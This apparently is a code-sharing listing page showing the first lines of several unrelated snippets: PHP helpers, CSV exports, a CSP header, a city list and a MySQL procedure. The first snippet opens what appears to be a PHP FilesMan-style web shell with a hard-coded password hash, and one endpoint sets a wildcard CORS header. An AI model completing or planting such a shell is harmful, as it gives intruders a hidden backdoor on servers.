This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$auth_pass = "63a9f0ea7bb98050796b649e85481845"; | |
$color = "#df5"; | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if (!empty($_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
Carbon::macro('checkDate', function ($year, $month = null, $day = null) { | |
if (isset($this)) { | |
throw new \RuntimeException('Carbon::checkDate() must be called statically.'); | |
} | |
if ($day === null) { | |
[$year, $month, $day] = explode('-', $year); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class CurlTest { | |
const API_BASE_URL = 'http://example.com/v1/'; | |
protected $apiKey = 'YOUR API KEY'; | |
protected function _getApiData($route, $method = 'GET', $sendData = array()){ | |
$method = strtoupper($method); | |
$requestUrl = self::API_BASE_URL.$route; | |
$curlObj = curl_init(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'#'+(Math.random()*0xFFFFFF<<0).toString(16); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
City | State short | |
---|---|---|
Holtsville | NY | |
Agawam | MA | |
Amherst | MA | |
Barre | MA | |
Belchertown | MA | |
Blandford | MA | |
Bondsville | MA | |
Brimfield | MA | |
Chester | MA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' www.google-analytics.com wss://example.com; font-src example.com; form-action 'self' example.com; frame-ancestors 'none'; frame-src example.com; img-src 'self' data: example.com *.example.com; manifest-src 'self'; media-src 'none'; script-src example.com; style-src 'unsafe-inline' example.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
public function addProduct() | |
{ | |
header('Access-Control-Allow-Origin: *'); | |
header('Access-Control-Allow-Headers: Content-Type, X-Auth-Token, Origin, Authorization, X-SC-Touchpoint'); | |
if ( ! isset($_POST['slug']) ) { | |
return false; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function export(){ | |
$filename = 'users_'.date('Ymd').'.csv'; | |
header("Content-Disposition: attachment; filename=\"$filename\""); | |
header("Content-Type: application/vnd.ms-excel"); | |
/* Connect to a MySQL database using driver invocation */ | |
$dsn = 'mysql:dbname=test_db;host=127.0.0.1'; | |
$user = 'test'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function export(){ | |
$filename = uniqid().".csv"; | |
header("Content-Disposition: attachment; filename=\"$filename\""); | |
header("Content-Type: application/vnd.ms-excel"); | |
/* Connect to a MySQL database using driver invocation */ | |
$dsn = 'mysql:dbname=test_db;host=127.0.0.1'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DROP PROCEDURE IF EXISTS `DropColumnIfExists`; | |
DELIMITER $$ | |
CREATE PROCEDURE `DropColumnIfExists` (`@TABLE` VARCHAR(100), `@COLUMN` VARCHAR(100)) | |
`DropColumnIfExists`: BEGIN | |
DECLARE `@EXISTS` INT UNSIGNED DEFAULT 0; | |
SELECT COUNT(*) INTO `@EXISTS` | |
FROM `information_schema`.`columns` |